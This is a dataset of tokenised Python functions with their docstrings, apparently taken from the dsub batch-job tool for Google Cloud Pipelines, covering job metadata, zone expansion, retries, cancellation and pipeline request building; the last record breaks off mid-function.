{"signature": "@abc.abstractmethod<EOL><INDENT>def prepare_job_metadata(self, script, job_name, user_id, create_time):<DEDENT>", "body": "raise NotImplementedError()<EOL>", "docstring": "Returns a dictionary of metadata fields for the job.\n\n        Call this before calling submit_job.\n\n        The job metadata is a dictionary of values relevant to the job as a whole,\n        such as:\n\n        * job-name\n        * job-id\n        * user-id\n        * script\n        * dsub-version\n\n        The creation of the job metadata is done by the provider, as the rules\n        around these items are provider-specific. For example, one job provider\n        might have an 8 character restriction on job names, while another may be\n        restricted to lower-case characters.\n\n        The provider *must* set the job-name, job-id, and user-id. They may be used\n        by the dsub infrastructure for display and direct return to callers.\n\n        The provider is free to set any other key that it will need in\n        submit_job().\n\n        The \"job_name\" passed in need not be the same 'job-name' value set in the\n        returned job metadata, as provider-specific character restrictions may need\n        to be applied.\n\n        Args:\n          script: path to the job script\n          job_name: user-supplied job name, if any\n          user_id: user whose jobs to look for\n          create_time: create time for the job", "id": "f6198:c0:m0"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def submit_job(self, job_descriptor, skip_if_output_present):<DEDENT>", "body": "raise NotImplementedError()<EOL>", "docstring": "Submit the job to be executed.\n\n        Args:\n          job_descriptor (job_model.JobDescriptor): parameters needed to launch all\n          job tasks\n          skip_if_output_present: (boolean) if true, skip tasks whose output\n            is present (see --skip flag for more explanation).\n\n\n        Returns:\n          A dictionary containing the 'user-id', 'job-id', and 'task-id' list.\n          For jobs that are not task array jobs, the task-id list should be empty.\n          If all tasks were skipped, then the job-id is dsub_lib.NO_JOB.\n\n\n        Raises:\n          ValueError: submit_job may validate any of the parameters and raise\n            a value error if any parameter (or specific combination of parameters)\n            is not supported by the provider.", "id": "f6198:c0:m1"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def delete_jobs(self,<EOL>user_ids,<EOL>job_ids,<EOL>task_ids,<EOL>labels,<EOL>create_time_min=None,<EOL>create_time_max=None):<DEDENT>", "body": "raise NotImplementedError()<EOL>", "docstring": "Kills the operations associated with the specified job or job.task.\n\n        Some providers may provide only a \"cancel\" operation, which terminates the\n        task but does not truly \"delete\" it from the \"task list\".\n\n        Args:\n          user_ids: a set of user ids who \"own\" the job(s) to delete.\n          job_ids: a set of job ids to delete.\n          task_ids: a set of task ids to delete.\n          labels: a set of LabelParam, each must match the job(s) to be cancelled.\n          create_time_min: a timezone-aware datetime value for the earliest create\n                           time of a task, inclusive.\n          create_time_max: a timezone-aware datetime value for the most recent\n                           create time of a task, inclusive.\n\n        Returns:\n          (list of tasks canceled,\n           for each task that couldn't be canceled, the error message).\n\n          Only tasks that were running are included in the return value.", "id": "f6198:c0:m2"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def lookup_job_tasks(self,<EOL>statuses,<EOL>user_ids=None,<EOL>job_ids=None,<EOL>job_names=None,<EOL>task_ids=None,<EOL>task_attempts=None,<EOL>labels=None,<EOL>create_time_min=None,<EOL>create_time_max=None,<EOL>max_tasks=<NUM_LIT:0>,<EOL>page_size=<NUM_LIT:0>):<DEDENT>", "body": "raise NotImplementedError()<EOL>", "docstring": "Return a list of tasks based on the search criteria.\n\n        If any of the filters are empty or {'*'}, then no filtering is performed on\n        that field. Filtering by both a job id list and job name list is\n        unsupported.\n\n        Args:\n          statuses: {'*'}, or a set of job status strings to return. Valid\n            status strings are 'RUNNING', 'SUCCESS', 'FAILURE', or 'CANCELED'.\n          user_ids: a set of ids for the user(s) who launched the job.\n          job_ids: a set of job ids to return.\n          job_names: a set of job names to return.\n          task_ids: a set of specific tasks within the specified job(s) to return.\n          task_attempts: a set of specific task attempts within the specified\n            tasks(s) to return.\n          labels: a list of LabelParam, each must match the job(s) returned.\n          create_time_min: a timezone-aware datetime value for the earliest create\n                           time of a task, inclusive.\n          create_time_max: a timezone-aware datetime value for the most recent\n                           create time of a task, inclusive.\n          max_tasks: the maximum number of job tasks to return or 0 for no limit.\n          page_size: the page size to use for each query to the backend. May be\n                     ignored by provider implementations.\n\n        Returns:\n          A list of Task objects.\n\n        Raises:\n          ValueError: if both a job id list and a job name list are provided", "id": "f6198:c0:m3"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def get_tasks_completion_messages(self, tasks):<DEDENT>", "body": "raise NotImplementedError()<EOL>", "docstring": "List of the error message of each given task.", "id": "f6198:c0:m4"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def raw_task_data(self):<DEDENT>", "body": "raise NotImplementedError()<EOL>", "docstring": "Return a provider-specific representation of task data.\n\n        Returns:\n          dictionary of task data from the provider.", "id": "f6198:c1:m0"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def get_field(self, field, default=None):<DEDENT>", "body": "raise NotImplementedError()<EOL>", "docstring": "Return a metadata-field for the task.\n\n        Not all fields need to be supported by all providers.\n        Field identifiers include:\n\n        'job-name', 'job-id', 'task-id', 'task-attempt', 'user-id', 'task-status',\n        'error-message', 'create-time', 'start-time', 'end-time', 'inputs',\n        'outputs', 'events'\n\n        The following are required by dstat:\n        - status: The task status ('RUNNING', 'CANCELED', 'FAILED', 'SUCCESS')\n        - status-message: A short message that is displayed in the default\n                          dstat output. This should be as concise and useful as\n                          possible (\"Pending\", \"Running\", \"Error: invalid...\")\n        - status-detail: A longer status message that is displayed in full dstat\n                         output. Ideally, this is the last few lines of a log which\n                         gives the user enough information that they do not need\n                         to go to the log files.\n\n        dstat's short output shows status-message.\n        dstat's full output shows status and status-detail\n\n        Args:\n          field: one of the choices listed above.\n          default: the value to return if no value if found.", "id": "f6198:c1:m1"}
{"signature": "def _print_error(msg):", "body": "print(msg, file=sys.stderr)<EOL>", "docstring": "Utility routine to emit messages to stderr.", "id": "f6199:m0"}
{"signature": "def get_zones(input_list):", "body": "if not input_list:<EOL><INDENT>return []<EOL><DEDENT>output_list = []<EOL>for zone in input_list:<EOL><INDENT>if zone.endswith('<STR_LIT:*>'):<EOL><INDENT>prefix = zone[:-<NUM_LIT:1>]<EOL>output_list.extend([z for z in _ZONES if z.startswith(prefix)])<EOL><DEDENT>else:<EOL><INDENT>output_list.append(zone)<EOL><DEDENT><DEDENT>return output_list<EOL>", "docstring": "Returns a list of zones based on any wildcard input.\n\n    This function is intended to provide an easy method for producing a list\n    of desired zones for a pipeline to run in.\n\n    The Pipelines API default zone list is \"any zone\". The problem with\n    \"any zone\" is that it can lead to incurring Cloud Storage egress charges\n    if the GCE zone selected is in a different region than the GCS bucket.\n    See https://cloud.google.com/storage/pricing#network-egress.\n\n    A user with a multi-region US bucket would want to pipelines to run in\n    a \"us-*\" zone.\n    A user with a regional bucket in US would want to restrict pipelines to\n    run in a zone in that region.\n\n    Rarely does the specific zone matter for a pipeline.\n\n    This function allows for a simple short-hand such as:\n       [ \"us-*\" ]\n       [ \"us-central1-*\" ]\n    These examples will expand out to the full list of US and us-central1 zones\n    respectively.\n\n    Args:\n      input_list: list of zone names/patterns\n\n    Returns:\n      A list of zones, with any wildcard zone specifications expanded.", "id": "f6199:m1"}
{"signature": "def build_pipeline_labels(job_metadata, task_metadata, task_id_pattern=None):", "body": "labels = {<EOL>Label(name, job_metadata[name])<EOL>for name in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>}<EOL>task_id = task_metadata.get('<STR_LIT>')<EOL>if task_id is not None:  <EOL><INDENT>if task_id_pattern:<EOL><INDENT>task_id = task_id_pattern % task_id<EOL><DEDENT>labels.add(Label('<STR_LIT>', str(task_id)))<EOL><DEDENT>task_attempt = task_metadata.get('<STR_LIT>')<EOL>if task_attempt is not None:<EOL><INDENT>labels.add(Label('<STR_LIT>', str(task_attempt)))<EOL><DEDENT>return labels<EOL>", "docstring": "Build a set() of standard job and task labels.\n\n    Args:\n      job_metadata: Job metadata, such as job-id, job-name, and user-id.\n      task_metadata: Task metadata, such as the task-id.\n      task_id_pattern: A pattern for the task-id value, such as \"task-%d\"; the\n        original google label values could not be strictly numeric, so \"task-\"\n        was prepended.\n\n    Returns:\n      A set of standard dsub Label() objects to attach to a pipeline.", "id": "f6199:m2"}
{"signature": "def prepare_job_metadata(script, job_name, user_id, create_time):", "body": "<EOL>if job_name:<EOL><INDENT>pipeline_name = job_name<EOL>job_name_value = job_model.convert_to_label_chars(job_name)<EOL><DEDENT>else:<EOL><INDENT>pipeline_name = os.path.basename(script)<EOL>job_name_value = job_model.convert_to_label_chars(<EOL>pipeline_name.split('<STR_LIT:.>', <NUM_LIT:1>)[<NUM_LIT:0>])<EOL><DEDENT>user_id = job_model.convert_to_label_chars(user_id)<EOL>job_id = '<STR_LIT>' % (job_name_value[:<NUM_LIT:10>], user_id,<EOL>create_time.strftime('<STR_LIT>')[:<NUM_LIT:16>])<EOL>version = job_model.convert_to_label_chars('<STR_LIT>' % DSUB_VERSION)<EOL>return {<EOL>'<STR_LIT>': pipeline_name,<EOL>'<STR_LIT>': job_name_value,<EOL>'<STR_LIT>': job_id,<EOL>'<STR_LIT>': user_id,<EOL>'<STR_LIT>': version,<EOL>}<EOL>", "docstring": "Returns a dictionary of metadata fields for the job.", "id": "f6199:m3"}
{"signature": "def prepare_query_label_value(labels):", "body": "if not labels:<EOL><INDENT>return None<EOL><DEDENT>return [job_model.convert_to_label_chars(label) for label in labels]<EOL>", "docstring": "Converts the label strings to contain label-appropriate characters.\n\n    Args:\n      labels: A list of strings to be converted.\n\n    Returns:\n      A list of converted strings.", "id": "f6199:m4"}
{"signature": "def parse_rfc3339_utc_string(rfc3339_utc_string):", "body": "<EOL>m = re.match(r'<STR_LIT>',<EOL>rfc3339_utc_string)<EOL>if not m:<EOL><INDENT>return None<EOL><DEDENT>groups = m.groups()<EOL>if len(groups[<NUM_LIT:6>]) not in (<NUM_LIT:0>, <NUM_LIT:3>, <NUM_LIT:6>, <NUM_LIT:9>):<EOL><INDENT>return None<EOL><DEDENT>g = [int(val) for val in groups[:<NUM_LIT:6>]]<EOL>fraction = groups[<NUM_LIT:6>]<EOL>if not fraction:<EOL><INDENT>micros = <NUM_LIT:0><EOL><DEDENT>elif len(fraction) == <NUM_LIT:3>:<EOL><INDENT>micros = int(fraction) * <NUM_LIT:1000><EOL><DEDENT>elif len(fraction) == <NUM_LIT:6>:<EOL><INDENT>micros = int(fraction)<EOL><DEDENT>elif len(fraction) == <NUM_LIT:9>:<EOL><INDENT>micros = int(round(int(fraction) / <NUM_LIT:1000>))<EOL><DEDENT>else:<EOL><INDENT>assert False, '<STR_LIT>'.len(fraction)<EOL><DEDENT>try:<EOL><INDENT>return datetime(g[<NUM_LIT:0>], g[<NUM_LIT:1>], g[<NUM_LIT:2>], g[<NUM_LIT:3>], g[<NUM_LIT:4>], g[<NUM_LIT:5>], micros, tzinfo=pytz.utc)<EOL><DEDENT>except ValueError as e:<EOL><INDENT>assert False, '<STR_LIT>'.format(<EOL>rfc3339_utc_string, e)<EOL><DEDENT>", "docstring": "Converts a datestamp from RFC3339 UTC to a datetime.\n\n    Args:\n      rfc3339_utc_string: a datetime string in RFC3339 UTC \"Zulu\" format\n\n    Returns:\n      A datetime.", "id": "f6199:m5"}
{"signature": "def get_operation_full_job_id(op):", "body": "job_id = op.get_field('<STR_LIT>')<EOL>task_id = op.get_field('<STR_LIT>')<EOL>if task_id:<EOL><INDENT>return '<STR_LIT>' % (job_id, task_id)<EOL><DEDENT>else:<EOL><INDENT>return job_id<EOL><DEDENT>", "docstring": "Returns the job-id or job-id.task-id for the operation.", "id": "f6199:m6"}
{"signature": "def _cancel_batch(batch_fn, cancel_fn, ops):", "body": "<EOL>canceled = []<EOL>failed = []<EOL>def handle_cancel_response(request_id, response, exception):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>del response  <EOL>if exception:<EOL><INDENT>msg = '<STR_LIT>' % (exception.resp.status, exception.resp.reason)<EOL>if exception.resp.status == FAILED_PRECONDITION_CODE:<EOL><INDENT>detail = json.loads(exception.content)<EOL>status = detail.get('<STR_LIT:error>', {}).get('<STR_LIT:status>')<EOL>if status == FAILED_PRECONDITION_STATUS:<EOL><INDENT>msg = '<STR_LIT>'<EOL><DEDENT><DEDENT>failed.append({'<STR_LIT:name>': request_id, '<STR_LIT>': msg})<EOL><DEDENT>else:<EOL><INDENT>canceled.append({'<STR_LIT:name>': request_id})<EOL><DEDENT>return<EOL><DEDENT>batch = batch_fn(callback=handle_cancel_response)<EOL>ops_by_name = {}<EOL>for op in ops:<EOL><INDENT>op_name = op.get_field('<STR_LIT>')<EOL>ops_by_name[op_name] = op<EOL>batch.add(cancel_fn(name=op_name, body={}), request_id=op_name)<EOL><DEDENT>batch.execute()<EOL>canceled_ops = [ops_by_name[op['<STR_LIT:name>']] for op in canceled]<EOL>error_messages = []<EOL>for fail in failed:<EOL><INDENT>op = ops_by_name[fail['<STR_LIT:name>']]<EOL>error_messages.append(\"<STR_LIT>\" %<EOL>(get_operation_full_job_id(op), fail['<STR_LIT>']))<EOL><DEDENT>return canceled_ops, error_messages<EOL>", "docstring": "Cancel a batch of operations.\n\n    Args:\n      batch_fn: API-specific batch function.\n      cancel_fn: API-specific cancel function.\n      ops: A list of operations to cancel.\n\n    Returns:\n      A list of operations canceled and a list of error messages.", "id": "f6199:m7"}
{"signature": "def cancel(batch_fn, cancel_fn, ops):", "body": "<EOL>canceled_ops = []<EOL>error_messages = []<EOL>max_batch = <NUM_LIT><EOL>total_ops = len(ops)<EOL>for first_op in range(<NUM_LIT:0>, total_ops, max_batch):<EOL><INDENT>batch_canceled, batch_messages = _cancel_batch(<EOL>batch_fn, cancel_fn, ops[first_op:first_op + max_batch])<EOL>canceled_ops.extend(batch_canceled)<EOL>error_messages.extend(batch_messages)<EOL><DEDENT>return canceled_ops, error_messages<EOL>", "docstring": "Cancel operations.\n\n    Args:\n      batch_fn: API-specific batch function.\n      cancel_fn: API-specific cancel function.\n      ops: A list of operations to cancel.\n\n    Returns:\n      A list of operations canceled and a list of error messages.", "id": "f6199:m8"}
{"signature": "def retry_api_check(exception):", "body": "if isinstance(exception, apiclient.errors.HttpError):<EOL><INDENT>if exception.resp.status in TRANSIENT_HTTP_ERROR_CODES:<EOL><INDENT>_print_error('<STR_LIT>')<EOL>return True<EOL><DEDENT><DEDENT>if isinstance(exception, socket.error):<EOL><INDENT>if exception.errno in TRANSIENT_SOCKET_ERROR_CODES:<EOL><INDENT>_print_error('<STR_LIT>')<EOL>return True<EOL><DEDENT><DEDENT>if isinstance(exception, oauth2client.client.AccessTokenRefreshError):<EOL><INDENT>_print_error('<STR_LIT>')<EOL>return True<EOL><DEDENT>if isinstance(exception, SSLError):<EOL><INDENT>_print_error('<STR_LIT>')<EOL>return True<EOL><DEDENT>if isinstance(exception, ServerNotFoundError):<EOL><INDENT>_print_error('<STR_LIT>')<EOL>return True<EOL><DEDENT>return False<EOL>", "docstring": "Return True if we should retry. False otherwise.\n\n    Args:\n      exception: An exception to test for transience.\n\n    Returns:\n      True if we should retry. False otherwise.", "id": "f6199:m9"}
{"signature": "def retry_auth_check(exception):", "body": "if isinstance(exception, apiclient.errors.HttpError):<EOL><INDENT>if exception.resp.status in HTTP_AUTH_ERROR_CODES:<EOL><INDENT>_print_error('<STR_LIT>')<EOL>return True<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Specific check for auth error codes.\n\n    Return True if we should retry.\n\n    False otherwise.\n    Args:\n      exception: An exception to test for transience.\n\n    Returns:\n      True if we should retry. False otherwise.", "id": "f6199:m10"}
{"signature": "@retrying.retry(<EOL>stop_max_attempt_number=<NUM_LIT>,<EOL>retry_on_exception=retry_api_check,<EOL>wait_exponential_multiplier=<NUM_LIT>,<EOL>wait_exponential_max=<NUM_LIT>)<EOL>@retrying.retry(<EOL>stop_max_attempt_number=<NUM_LIT:5>,<EOL>retry_on_exception=retry_auth_check,<EOL>wait_exponential_multiplier=<NUM_LIT>,<EOL>wait_exponential_max=<NUM_LIT>)<EOL>def setup_service(api_name, api_version, credentials=None):", "body": "if not credentials:<EOL><INDENT>credentials = oauth2client.client.GoogleCredentials.get_application_default(<EOL>)<EOL><DEDENT>return apiclient.discovery.build(<EOL>api_name, api_version, credentials=credentials)<EOL>", "docstring": "Configures genomics API client.\n\n    Args:\n      api_name: Name of the Google API (for example: \"genomics\")\n      api_version: Version of the API (for example: \"v2alpha1\")\n      credentials: Credentials to be used for the gcloud API calls.\n\n    Returns:\n      A configured Google Genomics API client with appropriate credentials.", "id": "f6199:m11"}
{"signature": "@staticmethod<EOL><INDENT>@retrying.retry(<EOL>stop_max_attempt_number=<NUM_LIT>,<EOL>retry_on_exception=retry_api_check,<EOL>wait_exponential_multiplier=<NUM_LIT>,<EOL>wait_exponential_max=<NUM_LIT>)<EOL>@retrying.retry(<EOL>stop_max_attempt_number=<NUM_LIT:5>,<EOL>retry_on_exception=retry_auth_check,<EOL>wait_exponential_multiplier=<NUM_LIT>,<EOL>wait_exponential_max=<NUM_LIT>)<EOL>def execute(api):<DEDENT>", "body": "try:<EOL><INDENT>return api.execute()<EOL><DEDENT>except Exception as exception:<EOL><INDENT>now = datetime.now().strftime('<STR_LIT>')<EOL>_print_error('<STR_LIT>' % (now, type(exception).__name__,<EOL>str(exception)))<EOL>raise exception<EOL><DEDENT>", "docstring": "Executes operation.\n\n        Args:\n          api: The base API object\n\n        Returns:\n           A response body object", "id": "f6199:c1:m0"}
{"signature": "def submit_job(self, job_descriptor, skip_if_output_present):", "body": "if not skip_if_output_present:<EOL><INDENT>raise FailsException(\"<STR_LIT>\")<EOL><DEDENT>for task_view in job_model.task_view_generator(job_descriptor):<EOL><INDENT>job_params = task_view.job_params<EOL>task_params = task_view.task_descriptors[<NUM_LIT:0>].task_params<EOL>outputs = job_params[\"<STR_LIT>\"] | task_params[\"<STR_LIT>\"]<EOL>if dsub_util.outputs_are_present(outputs):<EOL><INDENT>print(\"<STR_LIT>\")<EOL>continue<EOL><DEDENT>raise FailsException(\"<STR_LIT>\")<EOL><DEDENT>return {\"<STR_LIT>\": dsub_util.NO_JOB}<EOL>", "docstring": "Fails if there's anything to submit (so, not skipped).", "id": "f6200:c1:m1"}
{"signature": "def get_filtered_normalized_events(self):", "body": "<EOL>user_image = google_v2_operations.get_action_image(self._op,<EOL>_ACTION_USER_COMMAND)<EOL>need_ok = google_v2_operations.is_success(self._op)<EOL>events = {}<EOL>for event in google_v2_operations.get_events(self._op):<EOL><INDENT>if self._filter(event):<EOL><INDENT>continue<EOL><DEDENT>mapped, match = self._map(event)<EOL>name = mapped['<STR_LIT:name>']<EOL>if name == '<STR_LIT>':<EOL><INDENT>if not need_ok or '<STR_LIT>' in events:<EOL><INDENT>continue<EOL><DEDENT><DEDENT>if name == '<STR_LIT>':<EOL><INDENT>if match.group(<NUM_LIT:1>) != user_image:<EOL><INDENT>continue<EOL><DEDENT><DEDENT>events[name] = mapped<EOL><DEDENT>return sorted(events.values(), key=operator.itemgetter('<STR_LIT>'))<EOL>", "docstring": "Filter the granular v2 events down to events of interest.\n\n        Filter through the large number of granular events returned by the\n        pipelines API, and extract only those that are interesting to a user. This\n        is implemented by filtering out events which are known to be uninteresting\n        (i.e. the default actions run for every job) and by explicitly matching\n        specific events which are interesting and mapping those to v1 style naming.\n\n        Events which are not whitelisted or blacklisted will still be output,\n        meaning any events which are added in the future won't be masked.\n        We don't want to suppress display of events that we don't recognize.\n        They may be important.\n\n        Returns:\n          A list of maps containing the normalized, filtered events.", "id": "f6201:c0:m1"}
{"signature": "def _map(self, event):", "body": "description = event.get('<STR_LIT:description>', '<STR_LIT>')<EOL>start_time = google_base.parse_rfc3339_utc_string(<EOL>event.get('<STR_LIT>', '<STR_LIT>'))<EOL>for name, regex in _EVENT_REGEX_MAP.items():<EOL><INDENT>match = regex.match(description)<EOL>if match:<EOL><INDENT>return {'<STR_LIT:name>': name, '<STR_LIT>': start_time}, match<EOL><DEDENT><DEDENT>return {'<STR_LIT:name>': description, '<STR_LIT>': start_time}, None<EOL>", "docstring": "Extract elements from an operation event and map to a named event.", "id": "f6201:c0:m2"}
{"signature": "def prepare_job_metadata(self, script, job_name, user_id, create_time):", "body": "return google_base.prepare_job_metadata(script, job_name, user_id,<EOL>create_time)<EOL>", "docstring": "Returns a dictionary of metadata fields for the job.", "id": "f6201:c2:m1"}
{"signature": "def _get_logging_env(self, logging_uri, user_project):", "body": "if not logging_uri.endswith('<STR_LIT>'):<EOL><INDENT>raise ValueError('<STR_LIT>'.format(logging_uri))<EOL><DEDENT>logging_prefix = logging_uri[:-len('<STR_LIT>')]<EOL>return {<EOL>'<STR_LIT>': '<STR_LIT>'.format(logging_prefix),<EOL>'<STR_LIT>': '<STR_LIT>'.format(logging_prefix),<EOL>'<STR_LIT>': '<STR_LIT>'.format(logging_prefix),<EOL>'<STR_LIT>': user_project,<EOL>}<EOL>", "docstring": "Returns the environment for actions that copy logging files.", "id": "f6201:c2:m2"}
{"signature": "def _get_prepare_env(self, script, job_descriptor, inputs, outputs, mounts):", "body": "<EOL>docker_paths = sorted([<EOL>var.docker_path if var.recursive else os.path.dirname(var.docker_path)<EOL>for var in inputs | outputs | mounts<EOL>if var.value<EOL>])<EOL>env = {<EOL>_SCRIPT_VARNAME: repr(script.value),<EOL>_META_YAML_VARNAME: repr(job_descriptor.to_yaml()),<EOL>'<STR_LIT>': str(len(docker_paths))<EOL>}<EOL>for idx, path in enumerate(docker_paths):<EOL><INDENT>env['<STR_LIT>'.format(idx)] = os.path.join(providers_util.DATA_MOUNT_POINT,<EOL>path)<EOL><DEDENT>return env<EOL>", "docstring": "Return a dict with variables for the 'prepare' action.", "id": "f6201:c2:m3"}
{"signature": "def _get_localization_env(self, inputs, user_project):", "body": "<EOL>non_empty_inputs = [var for var in inputs if var.value]<EOL>env = {'<STR_LIT>': str(len(non_empty_inputs))}<EOL>for idx, var in enumerate(non_empty_inputs):<EOL><INDENT>env['<STR_LIT>'.format(idx)] = var.name<EOL>env['<STR_LIT>'.format(idx)] = str(int(var.recursive))<EOL>env['<STR_LIT>'.format(idx)] = var.value<EOL>dst = os.path.join(providers_util.DATA_MOUNT_POINT, var.docker_path)<EOL>path, filename = os.path.split(dst)<EOL>if '<STR_LIT:*>' in filename:<EOL><INDENT>dst = '<STR_LIT>'.format(path)<EOL><DEDENT>env['<STR_LIT>'.format(idx)] = dst<EOL><DEDENT>env['<STR_LIT>'] = user_project<EOL>return env<EOL>", "docstring": "Return a dict with variables for the 'localization' action.", "id": "f6201:c2:m4"}
{"signature": "def _get_delocalization_env(self, outputs, user_project):", "body": "<EOL>non_empty_outputs = [var for var in outputs if var.value]<EOL>env = {'<STR_LIT>': str(len(non_empty_outputs))}<EOL>for idx, var in enumerate(non_empty_outputs):<EOL><INDENT>env['<STR_LIT>'.format(idx)] = var.name<EOL>env['<STR_LIT>'.format(idx)] = str(int(var.recursive))<EOL>env['<STR_LIT>'.format(idx)] = os.path.join(<EOL>providers_util.DATA_MOUNT_POINT, var.docker_path)<EOL>if '<STR_LIT:*>' in var.uri.basename:<EOL><INDENT>dst = var.uri.path<EOL><DEDENT>else:<EOL><INDENT>dst = var.uri<EOL><DEDENT>env['<STR_LIT>'.format(idx)] = dst<EOL><DEDENT>env['<STR_LIT>'] = user_project<EOL>return env<EOL>", "docstring": "Return a dict with variables for the 'delocalization' action.", "id": "f6201:c2:m5"}
{"signature": "def _build_user_environment(self, envs, inputs, outputs, mounts):", "body": "envs = {env.name: env.value for env in envs}<EOL>envs.update(providers_util.get_file_environment_variables(inputs))<EOL>envs.update(providers_util.get_file_environment_variables(outputs))<EOL>envs.update(providers_util.get_file_environment_variables(mounts))<EOL>return envs<EOL>", "docstring": "Returns a dictionary of for the user container environment.", "id": "f6201:c2:m6"}
{"signature": "def _get_mount_actions(self, mounts, mnt_datadisk):", "body": "actions_to_add = []<EOL>for mount in mounts:<EOL><INDENT>bucket = mount.value[len('<STR_LIT>'):]<EOL>mount_path = mount.docker_path<EOL>actions_to_add.extend([<EOL>google_v2_pipelines.build_action(<EOL>name='<STR_LIT>'.format(bucket),<EOL>flags=['<STR_LIT>', '<STR_LIT>'],<EOL>image_uri=_GCSFUSE_IMAGE,<EOL>mounts=[mnt_datadisk],<EOL>commands=[<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', bucket,<EOL>os.path.join(providers_util.DATA_MOUNT_POINT, mount_path)<EOL>]),<EOL>google_v2_pipelines.build_action(<EOL>name='<STR_LIT>'.format(bucket),<EOL>flags=['<STR_LIT>'],<EOL>image_uri=_GCSFUSE_IMAGE,<EOL>mounts=[mnt_datadisk],<EOL>commands=[<EOL>'<STR_LIT>',<EOL>os.path.join(providers_util.DATA_MOUNT_POINT, mount_path)<EOL>])<EOL>])<EOL><DEDENT>return actions_to_add<EOL>", "docstring": "Returns a list of two actions per gcs bucket to mount.", "id": "f6201:c2:m7"}
{"signature": "def _build_pipeline_request(self, task_view):", "body": "job_metadata = task_view.job_metadata<EOL>job_params = task_view.job_params<EOL>job_resources = task_view.job_resources<EOL>task_metadata = task_view.task_descriptors[<NUM_LIT:0>].task_metadata<EOL>task_params = task_view.task_descriptors[<NUM_LIT:0>].task_params<EOL>task_resources = task_view.task_descriptors[<NUM_LIT:0>].task_resources<EOL>mnt_datadisk = google_v2_pipelines.build_mount(<EOL>disk=_DATA_DISK_NAME,<EOL>path=providers_util.DATA_MOUNT_POINT,<EOL>read_only=False)<EOL>scopes = job_resources.scopes or google_base.DEFAULT_SCOPES<EOL>labels = {<EOL>label.name: label.value if label.value else '<STR_LIT>' for label in<EOL>google_base.build_pipeline_labels(job_metadata, task_metadata)<EOL>| job_params['<STR_LIT>'] | task_params['<STR_LIT>']<EOL>}<EOL>script = task_view.job_metadata['<STR_LIT>']<EOL>user_project = task_view.job_metadata['<STR_LIT>'] or '<STR_LIT>'<EOL>envs = job_params['<STR_LIT>'] | task_params['<STR_LIT>']<EOL>inputs = job_params['<STR_LIT>'] | task_params['<STR_LIT>']<EOL>outputs = job_params['<STR_LIT>'] | task_params['<STR_LIT>']<EOL>mounts = job_params['<STR_LIT>']<EOL>gcs_mounts = param_util.get_gcs_mounts(mounts)<EOL>persistent_disk_mount_params = param_util.get_persistent_disk_mounts(mounts)<EOL>persistent_disks = [<EOL>google_v2_pipelines.build_disk(<EOL>name=disk.name.replace('<STR_LIT:_>', '<STR_LIT:->'),  <EOL>size_gb=disk.disk_size or job_model.DEFAULT_MOUNTED_DISK_SIZE,<EOL>source_image=disk.value,<EOL>disk_type=disk.disk_type or job_model.DEFAULT_DISK_TYPE)<EOL>for disk in persistent_disk_mount_params<EOL>]<EOL>persistent_disk_mounts = [<EOL>google_v2_pipelines.build_mount(<EOL>disk=persistent_disk.get('<STR_LIT:name>'),<EOL>path=os.path.join(providers_util.DATA_MOUNT_POINT,<EOL>persistent_disk_mount_param.docker_path),<EOL>read_only=True)<EOL>for persistent_disk, persistent_disk_mount_param in zip(<EOL>persistent_disks, persistent_disk_mount_params)<EOL>]<EOL>optional_actions = <NUM_LIT:0><EOL>if job_resources.ssh:<EOL><INDENT>optional_actions += <NUM_LIT:1><EOL><DEDENT>mount_actions = self._get_mount_actions(gcs_mounts, mnt_datadisk)<EOL>optional_actions += len(mount_actions)<EOL>user_action = <NUM_LIT:4> + optional_actions<EOL>final_logging_action = <NUM_LIT:6> + optional_actions<EOL>logging_cmd = _LOGGING_CMD.format(<EOL>log_cp_fn=_GSUTIL_CP_FN,<EOL>log_cp_cmd=_LOG_CP_CMD.format(<EOL>user_action=user_action, logging_action='<STR_LIT>'))<EOL>continuous_logging_cmd = _CONTINUOUS_LOGGING_CMD.format(<EOL>log_msg_fn=_LOG_MSG_FN,<EOL>log_cp_fn=_GSUTIL_CP_FN,<EOL>log_cp_cmd=_LOG_CP_CMD.format(<EOL>user_action=user_action,<EOL>logging_action='<STR_LIT>'),<EOL>final_logging_action=final_logging_action,<EOL>log_interval=job_resources.log_interval or '<STR_LIT>')<EOL>logging_env = self._get_logging_env(task_resources.logging_path.uri,<EOL>user_project)<EOL>script_path = os.path.join(providers_util.SCRIPT_DIR, script.name)<EOL>prepare_command = _PREPARE_CMD.format(<EOL>log_msg_fn=_LOG_MSG_FN,<EOL>mk_runtime_dirs=_MK_RUNTIME_DIRS_CMD,<EOL>script_var=_SCRIPT_VARNAME,<EOL>python_decode_script=_PYTHON_DECODE_SCRIPT,<EOL>script_path=script_path,<EOL>mk_io_dirs=_MK_IO_DIRS)<EOL>prepare_env = self._get_prepare_env(script, task_view, inputs, outputs,<EOL>mounts)<EOL>localization_env = self._get_localization_env(inputs, user_project)<EOL>user_environment = self._build_user_environment(envs, inputs, outputs,<EOL>mounts)<EOL>delocalization_env = self._get_delocalization_env(outputs, user_project)<EOL>actions = []<EOL>actions.append(<EOL>google_v2_pipelines.build_action(<EOL>name='<STR_LIT>',<EOL>flags='<STR_LIT>',<EOL>image_uri=_CLOUD_SDK_IMAGE,<EOL>environment=logging_env,<EOL>entrypoint='<STR_LIT>',<EOL>commands=['<STR_LIT:-c>', continuous_logging_cmd]))<EOL>if job_resources.ssh:<EOL><INDENT>actions.append(<EOL>google_v2_pipelines.build_action(<EOL>name='<STR_LIT>',<EOL>image_uri=_SSH_IMAGE,<EOL>mounts=[mnt_datadisk],<EOL>entrypoint='<STR_LIT>',<EOL>port_mappings={_DEFAULT_SSH_PORT: _DEFAULT_SSH_PORT},<EOL>flags='<STR_LIT>'))<EOL><DEDENT>actions.append(<EOL>google_v2_pipelines.build_action(<EOL>name='<STR_LIT>',<EOL>image_uri=_PYTHON_IMAGE,<EOL>mounts=[mnt_datadisk],<EOL>environment=prepare_env,<EOL>entrypoint='<STR_LIT>',<EOL>commands=['<STR_LIT:-c>', 